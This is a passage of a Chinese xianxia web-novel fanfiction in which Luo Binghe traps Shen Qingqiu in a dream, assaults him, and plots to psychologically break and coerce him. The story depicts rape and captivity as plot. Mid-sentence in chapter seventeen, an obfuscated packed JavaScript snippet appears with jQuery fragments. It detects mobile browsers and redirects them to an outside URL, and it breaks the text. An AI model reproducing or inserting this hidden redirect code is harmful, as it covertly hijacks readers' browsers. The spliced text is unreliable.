“呦?”清朗的声音自房屋传来,被掀开的瓦片透出一丝月光,照亮了除一张床外,空无一物的屋子。 “谁?!”沈九立刻将旁边的衣服裹上,谨慎的盯着屋顶那片夜空,全身紧绷,时刻准备作战。 “竟是这时候啊。”满是感叹的声音中,透着不可思议的疑惑。仿佛偶然路过似的,一身黑衣的青年跳下来,看着面前如临大敌的少年,笑意盈盈:“这是你想要的?” “???”沈九只觉得这个人是不是有病,莫名其妙的闯进别人的屋子,莫名其妙的说一些令人听不懂的话语。 “你可愿,随我离开?”黑衣青年发出邀请,对着一身伤痕、全副武装的少年郎。 “你有病吧!”沈九后退一步,背后紧靠着冰凉的墙壁,手中掐诀。虽然他只有微弱的灵力,以及几乎可以忽略不计的仙术,但对敌,从来都要全力以赴。 “行吧。看来‘师尊’无论什么时候,都不愿随弟子走呢。” 黑衣青年摇摇头,一步踏出,身影消失。 “???”沈九看着突然出现、转瞬消失的青年,觉得自己,大概是遇见仙人了。 “可恶啊!”他右手握紧,猛的砸向地面:他竟然错过了仙人!该死的,他要是跟仙人离开了,是不是就直接可以踏入修真路,脱离肉体凡胎、凡尘俗世? 若是有下一次,他一定要抱着仙人的大腿,求仙人带他修仙!!! ———— 次日,沈九难得的被请上饭桌,面前还摆好了碗筷。 “这……”沈九有些惴惴不安,奴隶一般的存在,怎么能和主家一起上桌吃饭? 但身边奴仆压着他,不让他离开。 “秋管家,这是?”沈九小心翼翼的打探消息,是福不是祸、是祸躲不过,无论何时,知道一些消息,总比什么也不知道的强。 说不定,就是这一两个‘信息差’,就能救下他这条不值钱的小命! “沈公子,你要走大运了啊。” 秋管家本家姓赵,因在秋家长久侍奉,又对秋家后辈有救驾之功,故而被赐姓‘秋’,其他人也尊称一句‘秋管家’。 此刻,内院的大管家,对他一个没人看得上的奴仆说,他要‘走大运’? “可否告知一二?”沈九越发谨慎,虽他不懂掌权平衡等用人之道,但他又不傻,这样大的阵势,要么是兴师问罪,要么是外有客来。一个搞不好,他就是被送出去讨好上官的‘礼物’! 秋管家但笑不语,只示意左右添茶。 沈九双手捧着茶杯,滚烫的茶水将他烫的有些生疼,可他却不知,除了捧着茶杯小口小口抿着热水,还能做些什么。 很快,旁边传来喧闹的声音。沈九立刻从板凳上站起,怎么也拉不住的站在一旁。 而他看到,他视为魔鬼的秋少爷,正堆满了讨好又向往的笑容,捧着一位——昨天曾有一面之缘的黑衣人。 ———— “沈九?”黑衣人轻笑着念了一遍沈九的名字,音调中,还有一丝眷恋和恍然。 就像是极为熟悉的邻居,却在某个时刻发现了更有趣的一面,轻松愉快中,带着某种打趣。 “您是专门为我而来吗?” “弟子,自然是为您而来。” “???”沈九不明白仙人发什么疯,他只是一个什么也没有的乞丐与仆从,唯一的财产就是他自己。仙人专程为他而来……简直美好的像是做梦。 他需要用什么交换?他要付出什么样代价?仙人但笑不语的态度里,究竟有没有给他挖坑? —— 黑衣人的具体面孔,沈九一直看不清晰。但‘救命恩人’‘仙师大人’长什么样,从来都不重要。 仙人带他离开了秋家这摊淤泥,又领他去乞丐窝里‘显摆’了一通;赐予他无数天灵地宝,又教给他几乎方方面面的仙术。 只是,在沈九跪下拜师时,仙人却拒绝了。 “仙长,可是嫌弃我资质不好?” “并非,你资质极佳。即便无我插手,你也将成为世间一等一的高手。” “仙长,可是嫌我心不诚?” “你对‘道’的追求,无人能及,怎么算是心不诚?” “那仙长为何拒绝我?是已有亲传弟子?” “非也。”黑人青年的眼神悠远,看着一点点展露风采的少年,隐约带出一丝哀怨:“分明是您一直在拒绝弟子。” “???”沈九表示一脸懵逼。 算了,他已习惯仙人总是莫名其妙的发呆,大概是想透过他,看见某个看不见的人吧。 无非是替身而已,他既得了对方的‘利’,便是让对方借‘他’这个‘物件’怀念其他人,又如何呢? ———— 随着时间的流逝,沈九逐渐长成十六七岁的俊俏少年。 少年倾慕,他于外出之时,遇见一个令他心动的女子。在‘救命之恩、以身相许’的风流故事里,少年理所应当的,接受了女子的爱恋,怀着满腔爱意,寻到长辈面前,想求他帮自己提亲。 “仙长。徒儿喜欢上一位女子,想求您帮我去提亲。” “?”黑衣人的表情,是前所未有的茫然、惊诧与沉重。他像是没听清般,再次询问道:“你说,你喜欢上一位女子?” “对。”沈九有些不好意思的应下,头低低的,手指交叉。娇羞这种情绪映于少年稚嫩又俊美的脸上,显得青涩又纯情。 黑衣人的气息一瞬间变得压迫感极强,他的声音很重,一字一句的重复:“你希望,我替你,向一位女子……提亲?” ‘提亲’两个字,像是在他嘴里千转百回,最终被满含某种未知名义吐出。 “对。”沈九并无察觉,也可能是过于羞涩和紧张,对周围的凝滞空气毫无防备,他如同所有在长辈面前提起少年心事一样,一边不好意思,一边又难得强硬: “徒儿心悦于她,愿与她结白首之约、修百年之好,想请仙长帮忙提亲。” “……” 沉闷的空气仿佛停止了涌动,四周寂静的连根针掉下去都清晰可闻。 “???” 沈九一直得不到回应,刚准备抬起头,整个人就被猛的压在书桌上,头重重的砸向一瞬间撒落一地、被清理得一干二净的桌面。 ‘仙’字还没发出来,冰冷坚硬的木质触感已将他的心从方才的期期艾艾、丢入冰冷无情的寒风之中。 心脏如鼓锤般快速跳动,耳膜全是衣物撕扯发出的摩擦声,眼前是另一人垂下的乌发,脸庞是对方灼热的呼吸。 身后,是被一层层扒下、撕碎的衣物。 ———— 富强、民主、文明、和谐 ———— “仙长……” 沈九的声音颤抖,他不知对方发什么疯,上一秒他还沉浸在即将娶妻生子的美梦中,下一秒,却因无法抵抗,坠入从未想过的深渊。 “不要……求您……别……” 求饶的话,并不会得到对方的认可。 反对,也被轻易压下。 越发浓重的呼吸声响起,伴随着水波流转的声音,演奏出一曲交响乐。 仿佛被野兽盯上般的生冷、仿若被大型生物啃噬般的痛苦。被娇养了几年的人,面对凶狠吃人的庞然大物,莫说抵抗,便是警惕心也丢失。 “嘶——轻点……” 沈九最后能祈求的,只是希望对方不要那么粗鲁。 可惜,换来的,却是冷硬的一句“你会习惯的。” 他曾经敬仙长如长辈、如恩人、如同行友人。甚至在称谓上,他也一直自称‘徒儿’,感激对方的灵物、仙术、平日里的衣食住行等赠予。 可是。 怎么会有人无缘无故对他好呢。 他只是一个乞丐,一个被买入秋家的奴仆。 即便是近些年长开了,能被人夸一句“好个俊俏的小公子”。也无非是,依赖于仙人的……灵物堆积。 他是被秋家买下,赠与仙人的‘礼物’啊。他不是,早就清楚的吗? 既然是‘礼物’,无论对方养儿子,还是养男宠,当然是看主人家爱好啊! 是他。 被平和温馨的相处迷了眼,封了耳。压下一直以来对周遭的警惕,放任违和感。想当然的,认为自己是睹物思人的‘物件’。 而今,不过是……迟来的付账罢了。 他的血液和汗水与对方交融,双方的头发掺杂在一起,遮掩住能看见外物的双眼、裹紧了能听到外界动静的双耳。 物理性的撕裂感,纯肉质的填充感。 以及,从未设想过的,罔顾人伦、分桃断袖。 一切都认知都在破碎,周围的一切都在天旋地转。 沈九,怎么配圆满一生呢。 他本来的设想,是择一良人,娶妻生子,儿孙绕膝。 可无情的现实里,他是明知对方心有不轨、却装作不知,明知对方处处违和、从不遮掩的破绽百出、却从不探究。 上天赐予的,早就暗中标上了价格。 而他,却在之前甘愿成为瞎子、聋子、智障又单纯之人。 “师尊……”身后传来幽幽叹息,夹杂着云雨之后的满足:“弟子终于,将您揽在怀里了。” 在想通一切后,‘师尊’两个字,就像是开启了某种记忆的开关。 少年沈九的眼里还含有生理性的泪水,神情,却突然间变得冷淡、茫然。 —— ‘发生了。什么?’ 沈清秋的记忆还停留在洛冰河驱散魔物,与他互打机锋。后面……大概是太累了,他好像,睡着了? 可现在的场景,颠鸾倒凤、春风一度? 稍微动一下,身后传来旁人的温度。 他正被人,抱在怀里? 不对劲。 沈清秋不算青涩少年,他与美女姐姐们贴贴,向来是他抱人,哪有被美人抱一说? 而且身高也不对,身后之人若将他抱起,必然要高于他。哪有美人能比他高,还这么主动的? 那么。只有一种可能了。 沈清秋四指并起,灵力聚集于右手,‘主动’翻转上身,伪装成一个‘拥抱’的动作。 接着—— 猛的将右手深深插入对方的心口,用力搅杀。 甭管后面是谁,既然有这个胆子,就以死谢罪吧。 他抬起头,凝视着对方看不清具体相貌的脸。对方的额头上,鲜红如血、跳跃如火的印记,看起来是那么的刺眼与熟悉。 第十六章救赎,没有人能等到救赎 “洛!冰!河!” 沈清秋的声音满含冰霜,整个人的身上像是附了一层血影与杀气。身居高位养出来的威严与杀戮敌人滋养出的戾气,即便是沦落凡尘多年,依旧会在某些特定环境被激发。 这一刻,别说什么冷静、淡漠、克制、优雅等君子外皮。暴怒使他撕开所有伪装,愤恨令他第一时间就施展禁术。 今日,他必将对方斩杀! 沈清秋径直将腰带取下,一把捋掉杂七杂八的配饰,化而为鞭,快速朝对面之人甩去。 鞭为软兵器,靠腕力驱使,主打一个‘取材方便、出其不意’。快速抽打、一触即离,若有需要,也可增加长度,靠缠绕将敌人拉近,一举制住。 冰哥本就因梦境被破而心神不定。 这种使用精神力构建的梦魇困境,当被对方以力破除后,会对施术者的精神造成极大损伤。 当他看到沈清秋“解腰带”的动作时,还有些怔愣和迷茫。 直到——凛冽的破风声传来,充当装饰的腰带化为能击杀人性命的软鞭,狂风暴雨般的攻击袭来,抽打着、发泄着对方的怒气。 “师尊!我错了!弟子错了!”冰哥不顾精神上的刺痛,连忙四处躲闪—— 沈清秋的武功技法,即便是受困于没有灵力附加,都能与不使用灵力的冰哥对半开。 如今怒气与禁术加成下,精神受损的冰哥,若是还敢如之前一般‘轻巧应对’,必然要吃大亏。 ———— 沈九以为他做了个美梦。 有一个真正的好人师傅将他从秋家牢笼里带出来,纵容他的恶劣脾气,尊重他的胆小谨慎,对于他的各种试探宽容大度,一点点理顺因悲惨过往而炸起的逆毛。 甚至说,上一秒他还沉浸在自己两情相悦的佳人同意他的示爱,只等着将这个消息告诉宠爱自己的师傅,求他帮自己上门提亲。他将拥有能够携手余生的温柔妻子、以后还会拥有几个天真可爱的孩童陪伴。 准确的说,梦境里的,不是已经成年的沈清秋——而是年少那个被抛下、舍弃掉的沈九。 正因为如此,他才会在‘看不清’救赎之人时,就简单的将希冀交付。 谁没点悲惨童年呢,谁不曾幻想少年时会出现一个超级英雄,拯救年幼无力的自己,于水火之中呢。 当他‘梦见’过去,遇见传奇故事中,会拯救少年于困境、将人从泥坑里拉住的白衣,啊,黑衣少侠时。沈九从一开始的警惕,变得懊恼。 而在‘对方专程来秋府将他接走’、并无条件赠与他最需要的天材地宝、灵丹妙药,教授他仙家法术、任他自由生长的时候。沈清秋的主意识,源于骨子里的警惕性,被压下了。 沈九以为自己终于入了仙人的眼,脱离困境。而被宠爱的人,是不需要‘胆小慎微’、‘四处警惕’的。 他本以为,他很幸运。 上有永远不会老的修真者师傅为自己保驾护航、扫平一切;下有几年后就会出世的糯米团子;身侧还有举案齐眉、如花似玉的羞涩佳人。 人生是何等圆满。 即便他明知这是幻想,是一场用来弥补童年遗憾、安抚那个被抛弃孩童的一场骗局。 但也无妨了。 梦境里,就让他假装一下——他的人生本可以如此顺遂又完美,只要他想,这场梦境可以永远不醒来。 而身为长大后、拼死累活爬上仙尊之位、又被人拽下神坛的主人格。也可以稍微歇一下,陷入沉睡之中,获得难得的安眠。 可,后面他遇见了什么? 他本怀着世间最美好的期待,放任梦境编织最完美的展开,他即将拥有最圆满的结局。 却在提及心上人的下一秒,坠入万丈深渊。 对自己宠爱有加的师傅,居然在他提出‘想要娶妻’的时刻,就像是变了一个人似的,当即兽性大发,扒了他的衣服,将他压在身下。 不顾他的哭诉与求饶,恶狠狠的将他当做女子对待。难以忍受的撕裂感几乎将他撕碎,而他的反抗,竟是那么微弱又无力。 就这,对方居然还硬邦邦的要求他‘要习惯’? 他以为世界上对自己最好的、如同长辈一般尊敬的仙人。 却不理会他的求饶,不解释莫名其妙的行为,只在他身上疯狂噬咬吮吸,说些‘弟子会永远陪着您’之类的狗屁话语。 极致的羞辱感与疼痛使他惊醒,本已陷入沉睡的主意识当即被唤醒——年少沈九,终究是害怕又无力的。 而几乎刻在骨子里的、那抹额头上的血红印记, 终于让他将眼前之人的脸,分辨清晰的同时。 ??也让他—— 跌入更深层的深渊。 梦境中,本不该有其他人的脸。 所以。这场梦境的主人,原来。不是他。 多可笑啊。 当‘沈清秋’被唤醒,独属于沈九的软弱与期待褪去。他所看见的,便是雌伏于人、衣衫尽褪、遍体鳞伤的残局。 他又被骗了。 哪有什么美好幻想、圆满梦境。 沈九是不可能等到救赎的。 失信的少年不会遵守约定带他走。 想象中的完美恩人,也不过是其他人的刻意谋划。 唯有自救。 也只有自救。 他选择的路,才是正确的。 送上门的东西,能有什么好的。 他当年想离开那潭淤泥,求主家放人没有用,等同伴带他走等不到。真正让他解放的,是一把用来装饰的、没开刃的剑。 沈清秋死死抓住了杀人如麻、毫无底线的无厌子,又一举火烧秋家,才换得逃亡的契机。 而年少无知的沈九,在梦中,居然那么轻易的就相信了眼前人,将信任与感激奉上。 忽略所有违和感,封闭双眼不去看、紧闭双耳不去听、停下所有的思考,只一心沉沦于甜蜜梦境。 结局,当然是理所应当的,被狠狠刺伤。 ———— “师尊!师尊!”冰哥的求饶声萦绕于洞内,各种的‘弟子错了’‘弟子不敢’‘弟子也不知道什么情况’响彻其间,伴随着鞭子击打的声音,如魔音穿耳。 沈清秋收回手中的腰带,大咧咧的随意将衣服稍稍整理,盘腿坐下。 禁术的时间有限,既然没有一招毙命,他也无其他办法,还不如先调息恢复,压制这该死的阴冷气息。 那股自他清醒后就一直隐藏于血脉的阴冷气息扑面而来,随着他方才的情绪波动,被激活了。若非这股气息突然反扑,令他周身血脉出现停滞,他有五成把握,能将洛冰河一举杀之。 只是。往日这股气息都是靠冰哥输入大量灵力才能压制,而今,沈清秋并不想让对方近身。 他还做不到一炷香前对敌人下了杀手,一炷香后却‘吩咐’敌人为自己干活。 不仅仅是沈清秋要脸,更重要的是,他刚在梦境中被背刺,很难说如今这种情况,对方会不会如梦境一般,欺师犯上。 毕竟。如果你曾经被狗咬过,当然是不可能相信狗说的‘我不咬人’。将后背暴露给背刺过、对立过的敌人,怎么看都是不明智的。 ‘唔-’阴冷气息的反扑越发严重,沈清秋左手紧抓心口,毫不犹豫的将右手手腕放在唇边,以尖锐的牙齿咬开动脉,以鲜血压制经脉里的波涛汹涌。 “师尊?”冰哥原本躲得远远的。他看着面露痛苦之色,衣衫散乱,额头隐有汗滴的沈清秋,脚步极轻的一点点靠近对方。 却在距离他三丈远处,被喝止。 “站住。”沈清秋睁开的眼里满是猩红血色,杀意在他身上如摧枯拉朽般的浮现,远比之前的任何一次都要强烈而汹涌。 “再向前一寸,杀,了你。” 声音沙哑,口中含血,暴虐的气息随字句一点点扩散,连空气中都开始染上狂暴。 极致的生死危机感浮起,鸡皮疙瘩从脊椎猛的爬满。冰哥能感觉到,这次是真将对方得罪狠了。 以往的每一次,哪怕是昨天的魔物、说着要将他丢入青楼,沈清秋都能平淡的调侃:“相信你能干出来”。 即便是他们两个互打互杀那么多次,沈清秋都不曾气得要走火入魔。 但这次,沈清秋是直接以强横的怒气破碎梦魇,还在一开始就动了禁术。鞭子抽打过来的时候,对方也是真的,想要他的命。 还有一点,这次的‘鞭打’中,是动用了魔气的。 沈清秋不是没动用过禁术,甚至可以说他一直是以各种禁术、禁咒、血符等方式在与冰哥抗争。 只是,他之前的所有,从来都是用的血液中蕴含的灵力、抽取自己的生命力以献祭、忍受各种苦痛,才施展出来。 而现在。沈清秋一介纯种修真界人族,一个被废去修为沦为凡人的仙尊。 居然能使用魔气了! 即便这是怒气之中的不自觉行为。可能连他自己都未曾察觉出来。 但……这已经说明了,魔气、或者说天魔血,对他的污染,已经深到了一种无法形容的地步。 洛冰河是人魔混血。 沈清秋,是被改造的混血。 冰哥想到这两点,突然心里猛的一甜:沈清秋天天说他是杂种。 现在,他与自己一样了。 第十七章我知道你想杀我,用美人计,如何? 冰哥又又又在割自己的血,以续失去修为的凡人之命。 按照时间来算,他与沈清秋从勾栏初遇,已经昏迷了几百年,按凡尘岁数早该化为一捧黄沙。若非冰哥以各种灵丹妙药滋养,又以天魔血时刻为他续命,即便是能活,也是一具骷髅。 再加上沈清秋那么多年的禁术反噬,一直以来的没多少气血还要练武、与冰哥对抗,生命本源一损再损,即便是冰哥次次喂血,也难以维持其正常生活。 梦魇有些看不下去:“你说你图啥。就像是那个魔物所说,你一介魔尊,想要的直接抢就是了,即便是同位的自己又如何?怎的却非跑另一个世界来掳人?” “你若想睡对方,就直接上。如你一开始那样的打算,先将人打压下去,接着用天魔之血控制,最后扔床铺上直接开干。” “可你现在又在做什么,玩‘师慈子孝’的过家家?你明知对方绝不可能就这么认命,却还要沉迷于虚假的平和相处中?” “你信不信这个被你养着、各种奇珍异宝维持生命的人,早已磨刀霍霍,就等着那天给你心口一击,让你跌个底朝天?” 冰哥将手腕放入口中进行止血,看着躺在床上,面色惨白却依旧风华绝代的人,脸上有些异样的满足。 他如何不知道,沈清秋对他的厌恶到了什么程度? 只是,对方既然能忍下厌烦、耐下性子陪他‘和平共处’,冰哥又为何要揭穿戳破呢。 即便是虚假的、充满算计的、彼此都心怀鬼测的、心知肚明的。 可,这段时间,他们不曾争论打斗,双方各退一步、海阔天空、风平浪静,不好吗? 即便是知晓此人必定在琢磨如何杀死自己,如何以羸弱的凡人之躯斩杀修真者。 可,冰哥私心里,还是希望这段时间长一些,更久一些。 就像是他带沈清秋出门赏雪一般,本意只是想让他多笑一笑。 可谁知,却更深层次的激发了两人矛盾。 他们一直都是敌人。以后也会是敌人。 沈清秋每次晕倒后清醒,两人都能安静相处一阵子。 如此难得的‘温馨日子’。 他想放任自己多沉迷一些时日。 多体会一下,那个该死的幸运儿,最后打出来的‘完美结局’。 “那你为何还要...?”梦魇不解。 若是冰哥早些下手,哪里容得魔物说那些乱七八糟?若是冰哥不曾想在外面‘看热闹’,沈清秋哪里会被伤的如此之惨? 更有甚者。若非冰哥执意施展半吊子的梦魇禁术,非要用‘洗去记忆’的方式去‘构建’场景。怎么会阴差阳错,勾起沈清秋内心最深的向往,继而被狠狠打落期待,险些坠魔? 若是冰哥的想法是多维持这样的生活,就不该触对方的禁忌。逼的对方以武力对拼,一次又一次因反抗而昏迷。现在倒好,命是不需要续了,都快成魔了,哪里会跟凡人一样担心死亡? “因为。”冰哥轻轻抚摸沈清秋依旧年轻的容颜,这是他花费无数天灵地宝、魔族精血才维持住、堪堪续上的生命本源。 “我不想等了。” “?”梦魇表示他不是八卦的人,只是对方都这么主动的‘袒露心扉’了,他不听也太不合适了吧?他是个好魔,所以他捧哏道:“详说一下?” “我本想洗去他的记忆,给他编织一些我想让他‘知道’的事情。接着与他玩和平共处、相爱携手的戏码。” “只是可惜。故事编织好了,却是幼年沈清秋意识占主导,愣是走了场‘跌入泥潭、被少侠救起’的江湖戏码。” 冰哥轻轻叹口气,不知是目的没达成的遗憾,还是意料之外的惊诧。 “不过,这次的梦境,给了我很大的启发。” “哦。”梦魇有些无聊的随口附和。一开始他以为冰哥转了性子,开始玩‘救赎’那一套。 却不料幼年沈清秋真将他当成救赎后,冰哥却容不得对方‘继续圆满’下去。直接打碎对方的期待,以极为强势的态度,逼的沈清秋本体意识清醒,起身撕碎梦魇不说,还直接陷入了心魔。 修真者的心魔,以失去根骨的凡尘人士去硬抗,怎么想都是不可能挺过去的。 这也是为什么,高傲一世的冰哥,居然舍得喊梦魇出来善后的原因。 “你不曾了解他,所以你不清楚。沈清秋之前习惯练行书和草书,现在却只写隶书。他之前只打坐与看书抚琴,现在却愿意早起去练武。” 梦魇有些莫名其妙,但是出于对魔尊的尊重,他按照冰哥的一惯风格去应和:“说明人是能改变的?你已经让他改变了?” “不。说明他在隐忍和伪装。” “嗯?”梦魇还以为他会说出什么惊世之言,原来是想展示自己的‘观察入微’? “他修习隶书,是因为符箓一般是篆体或隶书。虽然他失去灵力不能激活,但舌尖血和心头血都能附灵。” “他修习武艺,是因为他失去灵力后无法使用术法,只能凭借反应与力量来自保和应敌。” “更有甚者,凡尘之中,本就有‘踏雪无痕’、‘凌波微步’等轻功内法,只要能躲避一开始的术法禁锢,他逃跑的机会还是有的。” “与他对打,他的招数风格也变了。若说之前还摆个花样,多些无用招式彰显文雅与仙气。现在却步步杀招,毫无浮夸之意。” “呦吼。”梦魇看着躺在床上要死不活的家伙,不禁感叹一句: “之前只记得他被你丢入地牢碾落成尘,近期又被他的平和相处所‘欺骗’。竟不知,他看似认命的行为下竟还有心机。” “他若是能轻易认命,早就该服软求饶。”冰哥有些心疼的摸了摸对方满是汗水的额头,为他抚平皱眉:“又如何会落得丢入地牢,求生不得、求死不能的下场?” “其实我一直不理解。”梦魇看着平淡‘讲述’的冰哥,暗戳戳满足自己的八卦之心: “你到底喜不喜欢他?之前如此折腾他,现下却还舍血为他续命。你对他到底是什么想法?” “我当然不喜欢他。”冰哥斩钉截铁:“我只是要‘征服’他。” “?”梦魇很迷惑,男频世界观下的‘征服’,一般用来压制美人,收入后宫。可这样一个男频仙尊,如何‘征服’? 冰哥眼含柔情的拉住沈清秋的手,一点点十指相扣。 这个人,唯有昏迷之时,才能与自己相亲相近。可他昏迷之时,却也失了对抗反驳时的灵动。 一介予取予求的躯体,是没有乐趣与意味的。 若是对方一点反应也无,那与‘奸’‘尸’有什么区别? 冰哥想要的,是‘沈清秋’主动接近,主动放低身位,主动……为了后续的活命也好、逃离也罢,去做出一些他平日里不会做的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15088225|163333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 举动。 明知不可为而为之的‘禁忌之恋’;猎物为求目的而强行曲意逢迎的强烈反差;将不听话的玩具丢到深渊,接着给予对方一根细细的蜘蛛网,看对方为了那一丝希望而努力挣扎…… ‘爱’是没有的。 玩弄猎物,戏弄敌人的感情,将钢铁化为绕指柔。 冰妹能做到的事情,冰哥当然也‘该有’,也能‘拥有’才对,不是吗? —— “我想让他的眼里有我。也想亲耳听到他无力逃脱之后的退让,更想将弱点暴露在他面前,看他对我怀柔、施展美人计。” 冰哥的眼中有复杂,但更多的,是对猎物不听话的不甘心,以及他人有而他却没遇到的不爽和不愿。 毕竟。若是想要‘单纯可爱’‘沈清秋’,之前的梦境里,他已经‘培养’出来了。甚至说,在最后的故事之前,‘沈清秋’对他,都是‘感激’+‘崇拜’的。 听到幼年沈清秋对他说‘想请您帮我提亲’时,冰哥确实失控了。 愤恨、震惊、玉望是一方面。 但更重要的一方面,是他不能接受这种结局。 那么美好的场景,沈清秋喜欢、自愿沉沦,冰哥也喜欢、也想维持啊。 可那又如何呢。他们的现实里,除非沈清秋失忆,或者将幼年沈九的性格拉出来占主位。否则,根本不可能存在。 冰哥的实力和风格作风,注定了他不可能真的‘养娃’,更受不了‘养的孩子去喜欢别的女人’。 他辛辛苦苦养出来的家伙,各种资源砸出来的清朗阳光少年郎。还没等他说些什么、做些什么呢,居然跑去喜欢别的女人去了??? 冰哥的一腔慈爱,还没来得及‘父爱变质’,另一人已经跳脱到想要娶妻生子、享受人伦了? 不可能。冰哥不接受这个结局。 不管是亲手养出来的少年,还是那个被他囚困在院落的青年。如果他不能得到对方,冰哥会干脆将对方弄死,大家谁也别想要。 而目前,他要做的,无非是用尽所有办法,让面前这个登上峰主之位的、虐待过自己的、满心满眼都是逃跑的‘沈清秋’,学会‘听话服从’。 “想杀我?很简单。”冰哥轻柔的替对方擦去额头上的汗滴。眼里有深情,但更多的,是势在必得:“‘我’是个馋他身子的人,只要他肯放下身段来‘勾.引’我,我就将心口朝他大开。” “‘我’的弱点如此之明显,沈清秋又是个不择手段也要砍杀敌人、逃出生天的性子。” “我就不信。他能忍住不动手。” “而且,”冰哥忍不住伸舌头舔了一下嘴唇:“这人的滋味,我已经试过一次。” “青涩又无力的少年郎。怎么比得过有能力反抗却不反抗;眼里满是厌恶嫌弃却还要主动献身;恨不得咬掉对方一块肉却又压抑天性、强咽恨意的……仙尊呢。” “看曾经高高在上的家伙零落成泥碾作尘,看明明有实力反杀却要压制秉性低伏做小,咬碎牙齿、咽下呻.吟。” “如此。才算杀人诛心。” 冰哥替沈清秋压好被角,整理枕头。看着陷入沉睡的美人,说出心中最想要的奢求: “这次,我要他于现实中,为我宽衣。” ———— “……”梦魇不想跟这个腹内都是黑水的家伙交流,总觉得这两个狠角色对起来,必定要死伤惨重。 他并不是一个非常好奇的人,更不好南风。甚至说,在他看来,‘沈清秋’也是钢铁直男一枚,洛冰河想让‘沈清秋’主动‘色.诱’,怕是困难的很。 就算是此前的‘成功案例’,也是冰哥诱导在先,以有心算无心,哄骗良家少男的纯真感情。 不过。若‘沈清秋’当真如他所说的‘为达目的不折手段’的话,结论就不能说得太早。 如果一个人手上没有任何工具,也没有灵力或魔气护身,在力量被压制的情况下…… 尤其是对方数次表态,对他有些想入非非、时刻想犯上的‘欲’时。 美人计,确实行之有效。 而如果那个人真的为了目的不择手段、不惜一切的话。 成大事者不拘小节,只是睡一觉而已,算不得什么。 沈清秋于梦境中被算计,也没见他如稚嫩少女般觉得自己‘脏了’,接着愤世骇俗、打算死一死啊。 男频仙尊能干出来的,是直接破碎梦魇、撕破困阵,以强硬态度清醒后,干脆利落的杀招辈出,满心想着弄死对方。 只要最后能将敌人斩杀、甚至挫骨扬灰,这种私密龌龊、风雅韵事,也无非是‘一夜风流’或‘一室荒唐’罢了。 “那你想让我做什么。”梦魇看着将自己唤出来的冰哥,觉得他应该不是邀请自己谈心的。 果不其然,冰哥露出一个堪称‘甜美’‘纯善’的笑容: “以我对我世界里沈清秋的记忆,和小畜生世界‘沈清秋’的记忆为原料,将那些发生过的事情灌输给他。让‘师尊’好好看看,现在的他,有多‘幸福’。” “不就是纯真少年郎被欺骗了吗,这么简单就能走火入魔、陷入心魔劫中不肯出来。那我就给他来点更劲爆的,将他逼出来。” “咦~”梦魇打了个哆嗦,即便他是灵魂体,也从冰哥的笑容与话语中,体悟到了森森恶意。 这就是冰哥的‘爱意’啊。 沈清秋数次对抗后,冰哥终于厌烦了,打算直接将几世的悲惨过往一股脑灌输给他。 而这一切,只是想让这个世界的沈清秋明白,从故事中间就被强行结局的‘他’,究竟有多‘幸运’。 第十八章不得天道与神明喜爱之人 浓重的雾气里,是令人睁不开眼的沉重与酸涩。 无数声音充斥与沈清秋的耳侧,五花八门的情感涌入他的心头,某种心脏被人狠狠捏住的‘命运不由人’感,极其荒诞的浮现。 他睁开眼,见到的,却如同是另一个‘自己’的跑马灯。 他亲眼看着宁嘤嘤受到洛冰河的怂恿后站出来‘揭发沈清秋恶行’,却被众人逼迫、百口莫辩。 于是‘他’走上高台,以灵力加注声音,说了句“我认错”。被人锁住修为,押去地牢。 他亲耳听到岳清源又一次提起被他杀死的柳清歌,话里话外都是暗示给柳清歌编个由头,死人的声誉哪有活人重要。 可‘他’却将人恶狠狠推开,并用最恶毒的话语让他再也不要与自己联系。 他亲手触摸被折断的玄啸,得知苍穹山上下皆灭,清静峰被烧。与他相关之人,无一人幸免于难。 而‘他’,只能以残缺之身,疯疯癫癫的又哭又笑。在牢门外的人夺去断剑,毁成碎末的时候,泪流满面。 这是一个。失败的,自己,吗? 独活于枯骨碎尘之中,天地间只余下自己一人。 而‘他’,却连自杀谢罪也不能。 无处散落的思绪就像是浸满了水的棉花,充斥于沈清秋的脑海,拉着他于绝望中一降再降,直至沉入海底。 一个人能承受的记忆与情感是有限的。当他超出界限后,很难在如常人一般稳定。而若是他的灵魂太过疲惫与痛苦,即便肉身不死,魂灵却早已湮灭。 ‘他’将头深深低下,埋入肩膀与脖颈之中,紧贴着自己的心口——他依旧有心跳,依旧能呼吸。 即便他泪流满面,即便他连全尸都不得,即便他自杀数次都难以……如愿。 故事的最后,只留下来他一人。 可‘他’还活着。 苟延残喘的活着。 狼狈无比的活着。 求死不能的活着。 平日里的几声恶语,就能伤得人如九月风霜。寻常的几名亲朋离去,就能令人感到岁月无常、人世变换。 更何况,这是两个世界的指责与恶意,是整个门派的覆灭与死亡。 他们聚集起来,足以令所有人精神崩溃。 不被天道所偏爱的人。哪怕他机关算尽、力揽狂澜,也摆脱不掉来自‘天’的恶意,来自命运的摆弄与嘲笑。 谁会守在记忆之冢,再也走不出来? 谁会成为一条终日靠过往回忆取暖的幽魂? 谁能摆脱这世道施加的枷锁,破釜沉舟、改换天地? 沈清秋,在看见‘另一个自己’后。 越发觉得要逃离‘洛冰河’身边,要想方设法的杀死他,最好是形神俱灭的那种。 所有强烈的渴望,都如溺水者的挣扎。 没有人不怕死。 落水之人,哪怕是一条纤细的稻草,也会牢牢抓住。 想方设法踹开缠绕的水草,尽可能的浮出水面交换氧气。通过自残的痛楚让逐渐昏沉的头脑短暂恢复清明,继而……逃出生天。 —— 人的一生与命运抗争,又被命运裹挟着向前。 当沈清秋看到‘沈垣’之后,他突然明白了自己的存在意义。 一种,可笑到荒诞的意义。 若是单纯的打不过而战败,他还不觉得什么。 无非是成王败寇,力量不足罢了。 若是给他一个机会,他会蓄积所有力量,只为了能在敌人的身上留下永远修养不好的残缺。 若是单纯的脑残蠢笨,也无所谓。 无非是不愿开口,不愿求饶,不愿借力,所以换得失去一切的狼狈。 若是能重来,他必然会在一开始就将洛冰河逐出师门,断绝宁嘤嘤与他的联系。 